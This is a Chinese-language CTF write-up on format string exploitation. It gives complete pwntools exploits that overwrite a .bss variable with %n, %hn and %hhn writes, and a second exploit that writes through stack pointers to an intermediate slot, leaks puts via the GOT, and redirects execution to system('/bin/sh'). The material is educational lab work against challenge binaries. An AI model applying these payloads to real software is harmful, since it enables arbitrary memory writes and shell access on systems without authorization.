基础知识

直接看wiki:https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/

重点说一下:”%n”写数据时,是写到参数指向的位置,而不是写到参数那个位置。

Format String位于栈上

题目来源:攻防世界的实时数据检测

步骤1:查看文件信息

img

一个32位的文件,canary、NX、PIE保护机制均关闭。

步骤2:静态分析

2641001-20220616133204703-995680243

程序很简单,输入一串字符(个数限制为512),然后再输出。最后根据key变量进行条件语句执行。

在imagemagic函数中用printf(format)进行输出,存在格式化字符串漏洞。因为key的地址在bss段:0x0804A048,所以利用格式化字符串漏洞进行覆盖。

检测一下偏移:

img

这里前面的AAAA是printf的参数,后面AAAA用%p打印出来的为locker函数里面的局部变量s。

payload = p32(key_addr) + b’%035795742d’ + b’%12$n’

  • 将key的地址写在第一位,相当于也会写在第12参数上。
  • %12$n : 是指对第12的参数写入前面成功输出的字节数。
  • %035795742d:前面key_addr已经占了4个字节,还要在输出35795746 - 4个字节。

步骤3:编写exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')

io = process("./datajk")
#io = remote("111.200.241.244",65079)

key_addr = 0x0804A048
payload = p32(key_addr) + b'%35795742d' + b'%12$n'

io.sendline(payload)
io.interactive()

远程的话大概要几分钟输出,本地的话快一点。直接对四个字节一次性写入的exp很简单,但很粗鲁,随后讲讲怎么用h和hh标志进行改进。

改进:使用h标志

上面因为%n是写入4字节数据,所以就直接写整个数,导致要输出大量数据才可以满足。但带格式化字符串中有那么两个标识:

  • h :以双字节的形式;
  • hh:以单字节的形式;

要使key=35795746(0x0222 3322),因为程序为小端序,高字节存储在低地址。所以就是要使key_addr处为0x3322,key_addr+2处为0x0222。

from pwn import *
context(os='linux', arch='i386', log_level='debug')

#io = process("./datajk")
io = gdb.debug("./datajk")
key_addr = 0x0804A048

#35795746 == 0x02223322
#num1 = 0x222 0x222 == 546
#num2 = 0x3322 0x3322 == 13090; 12544=13090-546

payload = p32(key_addr) + p32(key_addr + 2)
payload += b'%0538d' + b'%13$hn'
payload += b'%012544d' + b'%12$hn'

io.sendline(payload)
io.interactive()

注:用%n写入数据的顺序要从写入数值小的开始。

前面已经输出了两个地址,占了8字节,所以0x222要减去8为538。后面的12544同理,要减去已输出的量。

改进:使用hh标志

将0x02223322拆分成\x02 \x22 \x33 \x22,\x02写到最高地址,最右边的\x22写到最低地址。

这时要灵活的改变‘覆盖地址’的参数位了,可以先看一下wiki中的这个页面的‘覆盖小数字’:

https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-exploit/#_14

exp里面的a主要用于调参数位(按4调整)。由于这里调动比较灵活,而且代码不唯一。但大概思想不变,所以就不做多解释了。

from pwn import *
context(os='linux', arch='i386', log_level='debug')

io = process("./datajk")
key_addr = 0x0804A048

#0x02 22 33 22 (high -> low)
#input 0x02
payload = b'aa%15$hhnaaa' + p32(key_addr + 3)
#input 0x22(two)
payload += p32(key_addr + 2) + p32(key_addr) + b'%017d%16$hhn' + b'%17$hhna'
#input 0x33
payload += p32(key_addr + 1) + b'%012d%23$hhn'

io.sendline(payload)
io.interactive()

深入分析

image-20221024192118747

通过格式化字符串漏洞往目标地址写入数据的关键点是“目标地址”的地址存在格式化字符串的上方。所以利用成否的关键是能否部署“目标地址”的地址在栈上!

当存储格式化字符串的变量是位于栈上时,直接往格式化字符串中写入地址即可部署。但%n写数据时,是突破了栈帧的界限,将上面的(或同一个)栈帧的局部变量作为参数。

但存储格式化字符串的变量也有可能位于.bss段或者堆空间上,这时我们可以找个中介。

image-20221024194244585

我们通过指向中介的指针往中介(fakespace)那写入目标地址,这样目标地址就部署好了。后续就可以往目标地址写数据了。

Format String不在栈上

程序:login

链接:https://pan.baidu.com/s/1KphajK-T7atgV4vc0iKLRA
提取码:lele

步骤1:查看文件信息

image-20221024182059434

步骤2:静态分析

image-20221024182233665

输入name后,这个函数进行密码验证。当密码为“wllmmllw”时,验证成功,退出循环。否则一直循环,循环里面存有格式化字符串漏洞。值得注意的是,变量passwd是位于.bss段的。

步骤3:动态调试分析

格式化字符串位于.bss段,仅靠静态调试无法获取更多的信息。因此需要动调,断在printf(passwd)附近,查看栈空间。

断在0x080485AF,查看栈空间:

image-20221024183310910

计划使用ROP控制执行流去执行system("/bin.sh"),那么我们需要泄露libc版本。用于存在格式化字符串漏洞,所以我们只要将puts@got的地址写在format string的上方附近,使用%s打印即可。栈地址可通过%p轻易泄露,那怎么将puts@写到栈上了?

0xffffd1b4 —▸ 0xffffd264 —▸ 0xffffd403 ◂— '/home/tolele/studyspace/week36/login'
0xffffd1b8 —▸ 0xffffd26c —▸ 0xffffd428 ◂— 'SHELL=/bin/bash'

我们可以选一个中介位置(fakespace),通过栈上的这两个数据。往0xffffd264写入fakespace,0xffffd26c写入fakespace+2。栈上有了这两个地址后,就可以往fakespace处写数据了。

步骤4:编写exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')

io = process("./login")
elf = ELF("./login")

def debug():
    gdb.attach(io)
    pause()

io.sendlineafter("Please input your name: ", "tolele")
io.sendlineafter("Please input your password: ", "%6$p")
io.recvline()
ebp_addr = int(io.recvline()[-11:-1],16) - 0x10
print("@@@ ebp_addr = " + str(hex(ebp_addr)))

# leak libc version
def fmt_func(addr, data):
    data_high = (data&0xffff)
    data_low = (data&0xffff0000)>>16
    high_addr = (addr&0xffff) + 2
    low_addr = high_addr - 2
    #io.sendlineafter("Please input your password: ", '%'+str(low_addr)+'c'+'%21$hn')
    payload1 = '%'+str(low_addr)+'d'+'%21$hn'
    io.sendline(payload1)
    io.recvuntil("Try again!")
    #io.sendlineafter("Please input your password: ", '%'+str(high_addr)+'c'+'%22$hn')
    payload2 = '%'+str(high_addr)+'d'+'%22$hn'
    io.sendline(payload2)
    io.recvuntil("Try again!")
    #io.sendlineafter("Please input your password: ", "%"+str(data_high)+"c"+"%65$hn")
    payload3 = "%"+str(data_high)+"d"+"%65$hn"
    io.sendline(payload3)
    io.recvuntil("Try again!")
    #io.sendlineafter("Please input your password: ", "%"+str(data_low)+"c"+"%67$hn")
    payload4 = "%"+str(data_low)+"d"+"%67$hn"
    io.sendline(payload4)
    io.recvuntil("Try again!")

puts_got = elf.got['puts']
fakeaddr = ebp_addr + 0x10
fmt_func(fakeaddr, elf.got['puts'])
io.sendline("%10$s")
puts_addr = u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
print("@@@ puts_addr = "+str(hex(puts_addr)))

libc = ELF("./libc.so.6")
sys_libc = libc.sym['system']
puts_libc = libc.sym['puts']
binsh_libc = libc.search(b'/bin/sh').__next__()

sys_addr = puts_addr - puts_libc + sys_libc
binsh_addr = puts_addr - puts_libc + binsh_libc
fmt_func(ebp_addr + 0x4, sys_addr)
fmt_func(ebp_addr + 0xc, binsh_addr)
# debug()
io.sendline("wllmmllw")
io.interactive()

fmt_func里面使用的sendlineafter写入时,发生了一些报错,改成随后的两个语句后就可以了,暂时找不到原因,先留着注释。

题目时没有libc的,但是泄露本机的libc后,查询不到相应的版本,可能是因为版本比较新的原因,所以我就直接找本机的libc文件进行代替了。